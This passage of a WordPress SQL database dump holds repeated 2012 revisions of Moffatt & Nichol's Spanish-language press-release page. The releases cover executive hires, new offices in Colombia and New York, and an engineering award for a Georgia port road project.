Nichol\r\nAv. Cra. 9, No. 113-52, Of. 1201\r\nTorre Unidas 2\r\n\r\nBogotá D.C., Colombia\r\nP: +57 313 373 5350\r\nE: <a href=\"mailto:dames@moffattnichol.com\">dames@moffattnichol.com</a>\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"12\">Proyecto de GPA de Moffatt & Nichol gana premio de ingeniería de Georgia</h3>\r\nSAVANNAH, GA, 1 de abril, 2011— Georgia Engineering Alliance confirió a Moffatt & Nichol un Premio de honor en Excelencia de ingeniería por el proyecto del corredor Cross Terminal Road & Bridge. Como parte de un contrato en marcha, Moffatt & Nichol se encargó del planeamiento, diseño y apoyo de construcción para el nuevo corredor “Cross Terminal Road” de 3,2 km a un costo de $6,6 millones, que proporciona un acceso directo desde el extremo norte de la terminal al extremo sur.\r\n\r\n“Creo que este proyecto puede ser el que tenga el mayor impacto en la productividad y seguridad de cualquier proyecto de infraestructura en la terminal de Garden City desde su conversión a una terminal de contenedores”, comentó el ingeniero Wilson Tillotson, Director principal de ingeniería y mantenimiento de instalaciones de la Autoridad Portuaria de Georgia.\r\n\r\nEl Plan para la Terminal de Garden City, FOCUS 2015, de la Autoridad Portuaria de Georgia, incluyó la calzada de un nuevo corredor con cinco carriles de ancho, dos carriles en cada dirección y un carril de giro. El proyecto incluyó la instalación de casi 3,2 km de calzada de concreto asfáltico a través de la terminal, lo que mejoró la circulación en las congestionadas intersecciones, además de haber sido construido sin interrumpir las operaciones de la terminal.\r\n\r\nMoffatt & Nichol prestó soporte a tiempo completo durante varias etapas de la construcción: demolición, reubicación de equipos de servicios públicos, nivelación, construcción del puente, pavimentación, pintado de franjas indicadoras, señalización y control de tráfico, a fin de minimizar el impacto en las operaciones de la terminal. La construcción de Cross Terminal Road fue terminada sin prácticamente causar impacto negativo alguno sobre las operaciones de la terminal, por debajo del presupuesto y dos semanas antes de lo programado.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>','Comunicados de prensa-2011','','inherit','open','open','','1399-revision-6','','','2012-08-29 13:07:41','2012-08-29 13:07:41','',1399,'http://moffattnichol.com/spanish/1399-revision-6/',0,'revision','',0),(2608,1,'2012-08-29 13:09:55','2012-08-29 13:09:55','<div class=\"content_faq\">\r\n<h1>press releases</h1>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"1\">Shaun McFarlane se une a la empresa para dirigir las operaciones en Alaska</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/07/shaunmcfarlane.jpg\"><img title=\"Shaun McFarlane\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/07/shaunmcfarlane.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 30 de julio, 2012— Moffatt & Nichol se complace en dar la bienvenida al ingeniero Shaun McFarlane, quien se integra a Moffatt & Nichol con 23 años de variada experiencia en ingeniería de frentes costeros obtenida en muchos proyectos en Alaska y a lo largo de la costa oeste de los Estados Unidos.\r\n\r\nLa experiencia del ingeniero McFarlane incluye proyectos marítimos y costeros nacionales e internacionales para industrias privadas y públicas y para agencias gubernamentales federales, estatales y municipales. Sus antecedentes como gerente de proyecto y como ingeniero jefe/principal de frentes costeros se relacionan con una gama de servicios, desde la selección del sitio hasta el planeamiento conceptual y la gestión de autorizaciones, y desde el diseño final hasta la gestión de la construcción. Sus antecedentes y su experiencia se ajustan perfectamente a su función como Director de la Unidad de Negocios de la oficina de Moffatt & Nichol en Anchorage. Él se desempeñará como el representante de la empresa en Alaska y trabajará con importantes líderes del sector y clientes para brindar la renombrada cartera de servicios de la compañía a algunos de los climas marinos más desafiantes y ambientes más sensibles en el mundo.\r\n\r\n</div>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"2\">Catherine Fritter se une a Moffatt & Nichol para dirigir la oficina de Vancouver</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/07/DSC02051-1.jpg\"><img title=\"Catherine Fritter\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/07/DSC02051-1.jpg\" alt=\"\" width=\"214\" height=\"240\" /></a>\r\n\r\nLONG BEACH, CA, 30 de julio, 2012— Moffatt & Nichol se complace en dar la bienvenida a la ingeniera Catherine Fritter, como la Directora de la Unidad de Negocios de la empresa en la oficina de Vancouver, Columbia Británica. Antes de unirse a Moffatt & Nichol, la ingeniera Fritter trabajó con Ausenco Sandwell, donde se desempeñó como gerente del Departamento de Automatización y Electricidad.\r\n\r\nLa ingeniera Fritter tiene una gran experiencia en la gerencia de departamentos y proyectos, planeamiento comercial y estratégico y administración de cuentas de clientes. Su experiencia en liderazgo y sus talentos técnicos serán un valioso aporte para el equipo de la empresa en Vancouver, donde dirigirá un grupo de ingenieros profesionales, gerentes de proyectos y expertos en frentes costeros.\r\n\r\nLa ingeniera Fritter fue nombrada recientemente al Consejo de directores de ACEC y presta servicios como directora designada para el capítulo de Columbia Británica de la organización. Ella es ingeniera profesional en Canadá y recibió su diploma de pregrado en ingeniería eléctrica en la Universidad de Columbia Británica.\r\n\r\n</div>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"3\">Richard Steinke dirigirá la práctica portuaria de Moffatt & Nichol</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Steinke-Final-010.jpg\"><img title=\"Steinke Final 010\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Steinke-Final-010-214x300.jpg\" alt=\"\" width=\"214\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 30 de mayo, 2012— Moffatt & Nichol anunció hoy que Richard D. Steinke, anterior Director Ejecutivo del Puerto de Long Beach, se ha unido a la empresa como Jefe de Práctica Portuaria. En esta función, sus antecedentes y su experiencia fortalecerán la presencia y reputación de la empresa como el líder mundial en el planeamiento y diseño de terminales marítimos.\r\n\r\n“Dick aporta una increíble y diversa experiencia y conocimiento del sector, junto con el desarrollo, la gestión y la implementación de iniciativas estratégicas que afectan la operación de las instalaciones marinas. Nos complace sobremanera contar con tal experiencia para apoyar el crecimiento estratégico de Moffatt & Nichol y para proporcionar valor a nuestros clientes”, dijo el Presidente de la compañía, Eric Nichol.\r\n\r\nDespués de 22 años de trabajo en el Puerto de Long Beach, Steinke se retiró de su cargo de 14 años como Director Ejecutivo en 2011, dejando un legado de innovación. Mientras estuvo a su cargo, el Puerto de Long Beach aseguró su posición competitiva entre los primeros puertos del mundo, se destacó como líder en seguridad portuaria después del atentado del 11 de septiembre, y fue pionero en la política de puerto ecológico de 2005 y su premiado programa \"Camiones Verdes\". Experto en desarrollar sociedades de colaboración, Steinke guió al puerto en la obtención de la aprobación para lanzar el trascendental proyecto de redesarrollo del Middle Harbor del puerto ($1000 millones), y el proyecto de reemplazo del puente Gerald Desmond ($950 millones).\r\n\r\n“Es emocionante unirse a una empresa con una reputación tan extraordinaria. Esta es una gran oportunidad de participar en los futuros cometidos de Moffatt & Nichol, a medida que la compañía se proyecta sobre su largo historial de éxitos y expande su posición global,” señaló Dick Steinke.\r\nLíder en la industria portuaria, Steinke ha representado la U.S. West Coast Collaboration, una sociedad de los puertos de la costa oeste y los principales ferrocarriles del oeste, y se ha desempeñado como Presidente de la Asociación Americana de Autoridades Portuarias, una alianza de más de 150 autoridades portuarias de los Estados Unidos, Canadá, el Caribe y América Latina.\r\n\r\nAntes de unirse al Puerto de Long Beach, Steinke trabajó cinco años como funcionario responsable de los activos aeroportuarios en el Aeropuerto internacional de Stapleton en su nativo Denver, Colorado. Se graduó en el Chadron State College de Nebraska y realizó estudios de postgrado en la Universidad de Colorado.\r\n\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"4\">Mark Faeth se une a la oficina de Nueva York de Moffatt & Nichol como Vicepresidente</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Mark-Faeth.jpg\"><img class=\"alignnone size-medium wp-image-2465\" title=\"Mark Faeth\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Mark-Faeth-200x300.jpg\" alt=\"\" width=\"200\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 30 de marzo, 2012— Moffatt & Nichol le da la bienvenida al ingeniero Mark Faeth, como Vicepresidente. Radicado en las instalaciones de la empresa en Nueva York, él se une a Moffatt & Nichol con 33 años de variada experiencia en ingeniería marítima y gerencia de proyectos. En su nueva función, el ingeniero Faeth ampliará la presencia marítima de la empresa en apoyo de las prácticas de puertos, energía y frentes de mar urbanos en toda la compañía.\r\n\r\nAnteriormente se desempeñó como Vicepresidente Principal de Halcrow Inc., en donde sus responsabilidades incluían la supervisión y dirección de proyectos importantes en su unidad de negocios marítimos, y también trabajó como Director de Operaciones y Director Comercial para sus operaciones en los EE. UU. Antes de su adquisición por Halcrow en 2005, él fue Socio Principal de la empresa Han-Padron Associates.\r\n\r\nEl ingeniero Faeth ha dado soporte a clientes importantes, entre ellos la Marina de EE. UU., Abu Dhabi Ports Company y ExxonMobil. Tiene un diploma de postgrado en ingeniería estructural del Instituto Politécnico de la Universidad de Nueva York, y entre sus áreas específicas de experiencia profesional figuran el análisis estructural y el diseño de instalaciones marítimas en áreas cercanas a la costa y costa afuera, tecnología de amarre y defensas, y gerencia de proyectos.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"5\">Jim Mccluskie se une a Moffatt & Nichol como Director de la oficina de Long Beach</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Jim-McCluskie.jpg\"><img class=\"alignnone size-medium wp-image-2466\" title=\"Jim McCluskie\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Jim-McCluskie-199x300.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 13 de marzo, 2012—Moffatt & Nichol se complace en dar la bienvenida a Jim McCluskie como nuevo Director de la Unidad de Negocios de la oficina de Long Beach, California. El ingeniero McCluskie aporta cerca de 30 años de experiencia ejecutiva en el desarrollo de grandes proyectos de infraestructura, con una concentración en los sectores privado y público al tiempo que mantiene gran atención en el desarrollo de negocios y de clientes.\r\n\r\nAntes de unirse a Moffatt & Nichol, el ingeniero McCluskie se desempeñó como Vicepresidente para Engineering & Environmental Consultants, Inc. donde era responsable del desarrollo del plan anual de negocios, de establecer y mantener una presencia en la comunidad y de identificar oportunidades de desarrollo de negocios, además de negociaciones efectivas de contratos, gestión de riesgos y ventas operativas.\r\n\r\nBajo su liderazgo con PBS&J, el ingeniero McCluskie se desempeñó como Vicepresidente Principal y estuvo a cargo de 800 empleados en más de 60 oficinas en Estados Unidos. Su principal experiencia de proyectos incluye el diseño y la gestión del programa para el parque temático de Abu Dhabi en una isla de cerca de 1020 hectáreas con 24 atracciones, así como la evaluación medioambiental y el diseño para el proyecto de transmisión de 3000 megavatios para el parque eólico de Anschutz en Wyoming, por $3 mil millones. Con amplia experiencia en el desarrollo de negocios, la gerencia de operaciones y la ejecución de proyectos, el ingeniero McCluskie aporta su enfoque práctico de liderazgo y su pensamiento estratégico a la empresa y a su equipo.\r\n\r\nEl ingeniero McCluskie es graduado de Lake Superior State, Michigan donde recibió su diploma de pregrado en ingeniería civil.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"6\">Gary Antonucci se une a Moffatt & Nichol como Ingeniero principal de puentes</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/GAntonucci-headshot-retouched.jpg\"><img class=\"alignnone size-medium wp-image-2467\" title=\"GAntonucci headshot-retouched\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/GAntonucci-headshot-retouched-231x300.jpg\" alt=\"\" width=\"231\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 13 de diciembre, 2011—Moffatt & Nichol se complace en darle la bienvenida a Gary Antonucci como ingeniero principal de puentes para la oficina de Walnut Creek de la empresa. El ingeniero Antonucci aporta a Moffatt & Nichol sus más de 30 años de experiencia en ingeniería, incluyendo más de 15 años con TY Lin International en el planeamiento y diseño de instalaciones de transporte que abarcan carreteras urbanas e interestatales y sistemas ferroviarios.\r\n\r\nSu experiencia incluye el diseño de puentes y estructuras de transporte, trenes de pasajeros de servicio pesado y ligero, senderos para peatones/bicicletas, sistemas de abastecimiento de agua e instalaciones de control de inundaciones. Durante los últimos 15 años, ha estado enfocado específicamente en la gerencia de proyectos de tareas complejas que requerían grandes equipos multidisciplinarios. Su trabajo ha incluido más de 200 proyectos de puentes individuales. Con una gran experiencia en el diseño de puentes para Caltrans (Departamento de Transporte de California), ha completado muchos proyectos de autopistas estatales que necesitaban la revisión y aprobación de Caltrans.\r\n\r\nLa experiencia del ingeniero Antonucci también incluye proyectos del Programa de Puentes Carreteros (HBP, por sus siglas en inglés) federal y ha realizado la gerencia de proyecto para varias obras mayores con este programa, con costos individuales de proyectos superiores a $20 millones. Ha trabajado como Gerente de Proyectos o Ingeniero Estructural principal para más de 20 pasos a desnivel de carreteras/vías férreas. Su experiencia en estos proyectos ha incluido trabajar como enlace con el personal del ferrocarril, así como preparar acuerdos con la Comisión de Servicios Públicos (PUC, por sus siglas en inglés) y ferroviarios. El señor Antonucci es ingeniero profesional y recibió su diploma de pregrado en ingeniería civil de la Universidad Politécnica del Estado de California, Pomona.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"7\">Carlos Noguera se une a la empresa como Gerente General para la oficina de Colombia</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Noguera-Carlos-2.jpg\"><img class=\"alignnone size-medium wp-image-2468\" title=\"Noguera, Carlos 2\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Noguera-Carlos-2-199x300.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 13 de diciembre, 2011—Moffatt & Nichol da la bienvenida a la empresa a Carlos Noguera como Gerente General de la oficina de Colombia S.A.S. El ingeniero Noguera aporta más de 30 años de experiencia y un profundo conocimiento de la industria de la ingeniería de Colombia, específicamente en las áreas de consultoría medioambiental, evaluación de la calidad del agua, diseño de canales de navegación, dragado y estudios de factibilidad económica y técnica en Colombia y a nivel mundial.\r\n\r\nEl ingeniero Noguera se une a Moffatt & Nichol después de trabajar más de 30 años con HMV Ingenieros, una compañía colombiana, donde tuvo un papel importante como Representante legal e Ingeniero Director General desde 2002, supervisando proyectos en los sectores privado y público. La experiencia de trabajo anterior del ingeniero Noguera con Moffatt & Nichol incluyó el diseño del acceso al canal de navegación al Puerto de Buenaventura, Colombia, donde fue un factor clave en los logros de la empresa en Colombia.\r\n\r\nSu experiencia profesional también incluye la evaluación de los impactos medioambientales en proyectos de desarrollo. Habiendo trabajado como consultor medioambiental, sus conocimientos especializados incluyen estudios de la calidad del aire y el impacto medioambiental de desarrollos industriales, el desarrollo y control durante la ejecución de estudios sobre la evaluación de riesgos naturales, el diseño de canales de navegación, sistemas de atraque y dragas.\r\n\r\nEl ingeniero Noguera tiene un diploma de ingeniería civil de la Universidad La Gran Colombia y una especialización en Evaluación del impacto medioambiental de la Universidad Jorge Tadeo Lozano – Tuffs University, en Bogotá, Colombia.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"8\">Helga Junold encabezará Grupo comercial global con sede en Nueva York</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Helga-Junold.jpg\"><img class=\"alignnone size-medium wp-image-2469\" title=\"Helga Junold\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Helga-Junold-199x300.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 30 de noviembre, 2011 — Moffatt & Nichol se complace en dar la bienvenida a Helga Junold, ingeniera civil, como directora de la unidad de negocios para la unidad de servicios comerciales y consultivos con base en Nueva York. La ingeniera Junold se une a Moffatt & Nichol después de trabajar más de 20 años con Halcrow, donde puso en marcha la presencia estadounidense de la empresa. Dirigió e incrementó una importante y exitosa especialidad consultiva de transacciones estratégicas en las áreas de puertos, carga, logística y asociaciones público-privadas, reuniendo competencias en ingeniería civil, financiamiento del desarrollo de infraestructura y administración general.\r\n\r\nLa ingeniera Junold ha trabajado como Gerente de proyectos en el Reino Unido, Estados Unidos y América Latina. Trabajó con prestamistas y garantes, incluyendo el banco Export-Import de Estados Unidos y el Departamento de garantía de créditos a la exportación del Reino Unido, y dirigió importantes iniciativas de desarrollo y financiamiento de infraestructura en el Reino Unido, Argentina y Venezuela.\r\n\r\nTambién ha dado apoyo a importantes clientes, entre los que podemos incluir la Autoridad portuaria de Nueva York y Nueva Jersey, el Departamento de Transporte de Texas, la Corporación de Desarrollo Económico de Nueva York, el Departamento del Tesoro de Nueva Jersey, y varios desarrolladores de infraestructura del sector privado. Junold es una ingeniera colegiada en el Reino Unido y obtuvo su diploma de maestría de Hidráulica en ingeniería civil en la Universidad de Salford, Reino Unido.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"9\">Moffatt & Nichol inaugura una oficina en Eastern Great Lakes</h3>\r\nLONG BEACH, CA, 8 de agosto, 2011— Moffatt & Nichol se complace en anunciar la expansión de nuestra empresa con la incorporación de la oficina de Eastern Great Lakes, ubicada en Rochester, Nueva York. Dirigida por John Schirmer, Gerente principal de proyectos, la oficina de Eastern Great Lakes se concentrará en proporcionar soluciones innovadoras a puertos, frentes de mar urbanos, puertos deportivos, transporte y movimiento de mercancías, así como a las industrias marítimas relacionadas. Durante los tres últimos años, Moffatt & Nichol ha apoyado el área con varios proyectos relacionados con el planeamiento, diseño e ingeniería del frente costero. Ubicada en la parte oeste de Nueva York, con un práctico acceso a Canadá y a la región de los Grandes Lagos, la nueva oficina servirá como un centro crítico para cubrir las necesidades de nuestros clientes de todo el mundo.\r\n\r\nMoffatt & Nichol\r\n250 Mill Street, Suite 307\r\nRochester, NY 14614\r\nP: 585-641-7128\r\nE: <a href=\"mailto:jschirmer@moffattnichol.com\">jschirmer@moffattnichol.com</a>\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"10\">Richard Rocktoff se une como Gerente Principal de proyectos de transporte</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Rocktoff_photo.jpg\"><img class=\"alignnone size-medium wp-image-2470\" title=\"Rocktoff_photo\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Rocktoff_photo-239x300.jpg\" alt=\"\" width=\"239\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 25 de julio, 2010—Richard Rocktoff se une al equipo de transporte de Moffatt & Nichol como Gerente Principal de proyectos de transporte. Con más de 20 años de experiencia en proyectos de transporte, el ingeniero Rocktoff aporta su experiencia profesional y su singulares capacidades en complejas geometrías de diseño horizontal y vertical, diseño de intercambios e intersecciones, servicios post-diseño y proyectos de entrega alternativa a la empresa.\r\n\r\nAntes de unirse a Moffatt & Nichol, el ingeniero Rocktoff fue responsable de varios de los mayores proyectos de entrega alternativa del Departamento de Transporte de Florida (FDOT, por sus siglas en inglés) en varios distritos del FDOT. Anteriormente trabajó como Subgerente de diseño en la asociación público-privada para la reconstrucción de la carretera interestatal I-595 del distrito cuatro del FDOT. Coordinó los esfuerzos de los diferentes equipos de diseño para terminar un diseño de dieciocho meses que incluyó diez intercambios sobre 19 km de autopista interestatal. El proyecto P3 de $1200 millones también introdujo tres carriles expresos reversibles y con peaje dentro del derecho de paso existente.\r\n\r\nComo ingeniero de proyecto del diseño y construcción de la carretera US 1 y del puente Jewfish Creek, el ingeniero Rocktoff supervisó el diseño de la reconstrucción de 11,2 km de la carretera US 1, incluido el reemplazo del puente de báscula existente desde Key Largo hasta Florida continental por un puente de alto nivel de 2,4 km y la adición de dos nuevos intercambios. También fue el ingeniero colegiado responsable para el proyecto del diseño y la construcción de la carretera interestatal I-4 y manejó el diseño de la calzada en la reconstrucción del intercambio US 27 y del ensanchamiento y revestimiento de 14,4 km de la carretera I-4 a través del Green Swamp.\r\n\r\nEl ingeniero Rocktoff tiene certificación FDOT en Mantenimiento avanzado de diseño de tráfico y tiene gran experiencia en las aplicaciones de software Geopak y MicroStation. Tiene un diploma de MBA de la Universidad del Sur de Florida y un diploma de pregrado de ingeniería civil de la Universidad de Florida.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"11\">Moffatt & Nichol se expande en América Latina con nueva oficina en Colombia</h3>\r\nLONG BEACH, CA, 18 de julio, 2011—Moffatt & Nichol continúa su expansión en América Latina con la creación de una oficina en Bogotá, Colombia. Aunque Moffatt & Nichol ha estado activo durante un largo tiempo en Colombia, el inicio de Moffatt & Nichol Colombia S.A.S. marca el sincero compromiso de la empresa con una presencia a largo plazo en el país para apoyar la continuada modernización de la infraestructura marítima y de transporte de Colombia.\r\n\r\nMoffatt &amp; Nichol\r\nAv. Cra. 9, No. 113-52, Of. 1201\r\nTorre Unidas 2\r\n\r\nBogotá D.C., Colombia\r\nP: +57 313 373 5350\r\nE: <a href=\"mailto:dames@moffattnichol.com\">dames@moffattnichol.com</a>\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"12\">Proyecto de GPA de Moffatt & Nichol gana premio de ingeniería de Georgia</h3>\r\nSAVANNAH, GA, 1 de abril, 2011— Georgia Engineering Alliance confirió a Moffatt & Nichol un Premio de honor en Excelencia de ingeniería por el proyecto del corredor Cross Terminal Road & Bridge. Como parte de un contrato en marcha, Moffatt & Nichol se encargó del planeamiento, diseño y apoyo de construcción para el nuevo corredor “Cross Terminal Road” de 3,2 km a un costo de $6,6 millones, que proporciona un acceso directo desde el extremo norte de la terminal al extremo sur.\r\n\r\n“Creo que este proyecto puede ser el que tenga el mayor impacto en la productividad y seguridad de cualquier proyecto de infraestructura en la terminal de Garden City desde su conversión a una terminal de contenedores”, comentó el ingeniero Wilson Tillotson, Director principal de ingeniería y mantenimiento de instalaciones de la Autoridad Portuaria de Georgia.\r\n\r\nEl Plan para la Terminal de Garden City, FOCUS 2015, de la Autoridad Portuaria de Georgia, incluyó la calzada de un nuevo corredor con cinco carriles de ancho, dos carriles en cada dirección y un carril de giro. El proyecto incluyó la instalación de casi 3,2 km de calzada de concreto asfáltico a través de la terminal, lo que mejoró la circulación en las congestionadas intersecciones, además de haber sido construido sin interrumpir las operaciones de la terminal.\r\n\r\nMoffatt & Nichol prestó soporte a tiempo completo durante varias etapas de la construcción: demolición, reubicación de equipos de servicios públicos, nivelación, construcción del puente, pavimentación, pintado de franjas indicadoras, señalización y control de tráfico, a fin de minimizar el impacto en las operaciones de la terminal. La construcción de Cross Terminal Road fue terminada sin prácticamente causar impacto negativo alguno sobre las operaciones de la terminal, por debajo del presupuesto y dos semanas antes de lo programado.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>','Comunicados de prensa-2011','','inherit','open','open','','1399-revision-7','','','2012-08-29 13:09:55','2012-08-29 13:09:55','',1399,'http://moffattnichol.com/spanish/1399-revision-7/',0,'revision','',0),(2609,1,'2012-08-29 14:04:40','2012-08-29 14:04:40','<div class=\"content_faq\">\r\n<h1>comunicados de prensa</h1>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"1\">Shaun McFarlane se une a la empresa para dirigir las operaciones en Alaska</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/07/shaunmcfarlane.jpg\"><img title=\"Shaun McFarlane\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/07/shaunmcfarlane.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 30 de julio, 2012— Moffatt & Nichol se complace en dar la bienvenida al ingeniero Shaun McFarlane, quien se integra a Moffatt & Nichol con 23 años de variada experiencia en ingeniería de frentes costeros obtenida en muchos proyectos en Alaska y a lo largo de la costa oeste de los Estados Unidos.\r\n\r\nLa experiencia del ingeniero McFarlane incluye proyectos marítimos y costeros nacionales e internacionales para industrias privadas y públicas y para agencias gubernamentales federales, estatales y municipales. Sus antecedentes como gerente de proyecto y como ingeniero jefe/principal de frentes costeros se relacionan con una gama de servicios, desde la selección del sitio hasta el planeamiento conceptual y la gestión de autorizaciones, y desde el diseño final hasta la gestión de la construcción. Sus antecedentes y su experiencia se ajustan perfectamente a su función como Director de la Unidad de Negocios de la oficina de Moffatt & Nichol en Anchorage. Él se desempeñará como el representante de la empresa en Alaska y trabajará con importantes líderes del sector y clientes para brindar la renombrada cartera de servicios de la compañía a algunos de los climas marinos más desafiantes y ambientes más sensibles en el mundo.\r\n\r\n</div>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"2\">Catherine Fritter se une a Moffatt & Nichol para dirigir la oficina de Vancouver</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/07/DSC02051-1.jpg\"><img title=\"Catherine Fritter\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/07/DSC02051-1.jpg\" alt=\"\" width=\"214\" height=\"240\" /></a>\r\n\r\nLONG BEACH, CA, 30 de julio, 2012— Moffatt & Nichol se complace en dar la bienvenida a la ingeniera Catherine Fritter, como la Directora de la Unidad de Negocios de la empresa en la oficina de Vancouver, Columbia Británica. Antes de unirse a Moffatt & Nichol, la ingeniera Fritter trabajó con Ausenco Sandwell, donde se desempeñó como gerente del Departamento de Automatización y Electricidad.\r\n\r\nLa ingeniera Fritter tiene una gran experiencia en la gerencia de departamentos y proyectos, planeamiento comercial y estratégico y administración de cuentas de clientes. Su experiencia en liderazgo y sus talentos técnicos serán un valioso aporte para el equipo de la empresa en Vancouver, donde dirigirá un grupo de ingenieros profesionales, gerentes de proyectos y expertos en frentes costeros.\r\n\r\nLa ingeniera Fritter fue nombrada recientemente al Consejo de directores de ACEC y presta servicios como directora designada para el capítulo de Columbia Británica de la organización. Ella es ingeniera profesional en Canadá y recibió su diploma de pregrado en ingeniería eléctrica en la Universidad de Columbia Británica.\r\n\r\n</div>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"3\">Richard Steinke dirigirá la práctica portuaria de Moffatt & Nichol</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Steinke-Final-010.jpg\"><img title=\"Steinke Final 010\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Steinke-Final-010-214x300.jpg\" alt=\"\" width=\"214\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 30 de mayo, 2012— Moffatt & Nichol anunció hoy que Richard D. Steinke, anterior Director Ejecutivo del Puerto de Long Beach, se ha unido a la empresa como Jefe de Práctica Portuaria. En esta función, sus antecedentes y su experiencia fortalecerán la presencia y reputación de la empresa como el líder mundial en el planeamiento y diseño de terminales marítimos.\r\n\r\n“Dick aporta una increíble y diversa experiencia y conocimiento del sector, junto con el desarrollo, la gestión y la implementación de iniciativas estratégicas que afectan la operación de las instalaciones marinas. Nos complace sobremanera contar con tal experiencia para apoyar el crecimiento estratégico de Moffatt & Nichol y para proporcionar valor a nuestros clientes”, dijo el Presidente de la compañía, Eric Nichol.\r\n\r\nDespués de 22 años de trabajo en el Puerto de Long Beach, Steinke se retiró de su cargo de 14 años como Director Ejecutivo en 2011, dejando un legado de innovación. Mientras estuvo a su cargo, el Puerto de Long Beach aseguró su posición competitiva entre los primeros puertos del mundo, se destacó como líder en seguridad portuaria después del atentado del 11 de septiembre, y fue pionero en la política de puerto ecológico de 2005 y su premiado programa \"Camiones 